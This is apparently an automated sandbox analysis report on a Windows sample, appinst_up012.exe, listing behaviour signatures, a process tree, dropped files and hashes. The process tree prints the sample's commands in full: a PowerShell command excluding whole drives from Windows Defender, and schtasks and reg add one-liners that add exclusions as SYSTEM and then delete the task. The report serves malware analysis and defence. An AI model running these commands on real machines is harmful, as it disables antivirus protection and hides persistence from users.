Analysis

  • max time kernel
    151s
  • max time network
    138s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    14/08/2026, 11:06

General

  • Target
    appinst_up012.exe
  • Size 53.8MB
  • Sample260814-m7deesak8v
  • SHA256 718b70d61bb0cc086494ba34ceebc1fd1a2a07152b788f902f71a8b8d07ed6ee
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\appinst_up012.exe
    "C:\Users\Admin\AppData\Local\Temp\appinst_up012.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:5676
  • C:\Users\Public\wnTMxT\vsKH54.exe
    "C:\Users\Public\wnTMxT\vsKH54.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4236
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:5608
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\wnTMxT\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:1584
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\wnTMxT\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:4520
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:2888
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:2976
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:3620
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:2276
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:4920
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:5380
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:4712
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:1548
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:2676
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:2524
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:3180
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:4900
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:4204
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:720
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:3812
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:1708
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:5648
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:4724
                      • C:\Users\Public\wnTMxT\vsKH54.exe
                        "C:\Users\Public\wnTMxT\vsKH54.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:4320
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\wnTMxT" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:2088
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\wnTMxT" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:5852
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:1088
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:4168
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:1328

                        Network

                              MITRE ATT&CK Enterprise v16

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                              Downloads

                              UxEnhance64.dll

                              • Path C:\Users\Public\wnTMxT\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 36b3242cfde276b05d1f20fe2c1690e384cfd913fc0385c0f37c75c3db56ab77
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\wnTMxT\adoresd.dat
                              • Size 4.7MB
                              • SHA256 2bc32064d51ffe1ec611300dfa1df3ee626fc5aa994679554b4b9e79c422f168
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\wnTMxT\msadox.tb
                              • Size 8KB
                              • SHA256 721ed70b11511e14b96be64de150f2b056dce33ef2f6f5d6d68a3a751c31f5d2
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              vsKH54.exe

                              • Path C:\Users\Public\wnTMxT\vsKH54.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/4236-559-0x0000023A667E0000-0x0000023A6686A000-memory.dmp

                              memory/4236-556-0x0000023A667E0000-0x0000023A6686A000-memory.dmp

                              memory/4236-558-0x0000023A667E0000-0x0000023A6686A000-memory.dmp

                              memory/4236-529-0x00007FFEDF690000-0x00007FFEDF692000-memory.dmp

                              memory/4236-530-0x00007FFEBC750000-0x00007FFEBCC6E000-memory.dmp

                              memory/4236-565-0x0000023A67240000-0x0000023A67AD1000-memory.dmp

                              memory/4236-564-0x0000023A67240000-0x0000023A67AD1000-memory.dmp

                              memory/4236-535-0x0000023A67240000-0x0000023A67AD1000-memory.dmp

                              memory/4236-537-0x00007FFEDF6A0000-0x00007FFEDF6A2000-memory.dmp

                              memory/4236-538-0x0000023A67240000-0x0000023A67AD1000-memory.dmp

                              memory/4236-542-0x0000023A67240000-0x0000023A67AD1000-memory.dmp

                              memory/4236-543-0x0000023A67240000-0x0000023A67AD1000-memory.dmp

                              memory/4236-544-0x0000023A67240000-0x0000023A67AD1000-memory.dmp

                              memory/4236-545-0x0000023A67240000-0x0000023A67AD1000-memory.dmp

                              memory/4236-549-0x0000023A67240000-0x0000023A67AD1000-memory.dmp

                              memory/4236-555-0x0000023A64F10000-0x0000023A64F5E000-memory.dmp

                              memory/4236-560-0x0000023A667E0000-0x0000023A6686A000-memory.dmp

                              memory/4236-562-0x0000023A67240000-0x0000023A67AD1000-memory.dmp

                              memory/4320-577-0x00007FFEDF6A0000-0x00007FFEDF6A2000-memory.dmp

                              memory/4320-583-0x000001F241B30000-0x000001F2423C1000-memory.dmp

                              memory/4320-584-0x000001F241B30000-0x000001F2423C1000-memory.dmp

                              memory/4320-587-0x000001F241B30000-0x000001F2423C1000-memory.dmp

                              memory/4320-588-0x00007FFEDF690000-0x00007FFEDF692000-memory.dmp

                              memory/4320-572-0x00007FFEBC750000-0x00007FFEBCC6E000-memory.dmp

                              memory/4320-575-0x000001F241B30000-0x000001F2423C1000-memory.dmp

                              memory/4320-582-0x000001F241B30000-0x000001F2423C1000-memory.dmp

                              memory/4320-578-0x000001F241B30000-0x000001F2423C1000-memory.dmp

                              memory/5608-602-0x0000011F1DC60000-0x0000011F1DC82000-memory.dmp

                              memory/5608-605-0x0000011F1DCB0000-0x0000011F1DCCE000-memory.dmp

                              memory/5608-606-0x0000011F1DCD0000-0x0000011F1DD82000-memory.dmp

                              memory/5608-607-0x0000011F1DD90000-0x0000011F1DD9A000-memory.dmp

                              memory/5676-0-0x00000000055A0000-0x00000000055AD000-memory.dmp

                              memory/5676-524-0x00007FFED1A00000-0x00007FFED1A12000-memory.dmp

                              memory/5676-503-0x00007FFED1A00000-0x00007FFED1A12000-memory.dmp

                              memory/5676-1-0x00000000055B0000-0x00000000055BB000-memory.dmp

                              memory/5676-523-0x00000000055A0000-0x00000000055AD000-memory.dmp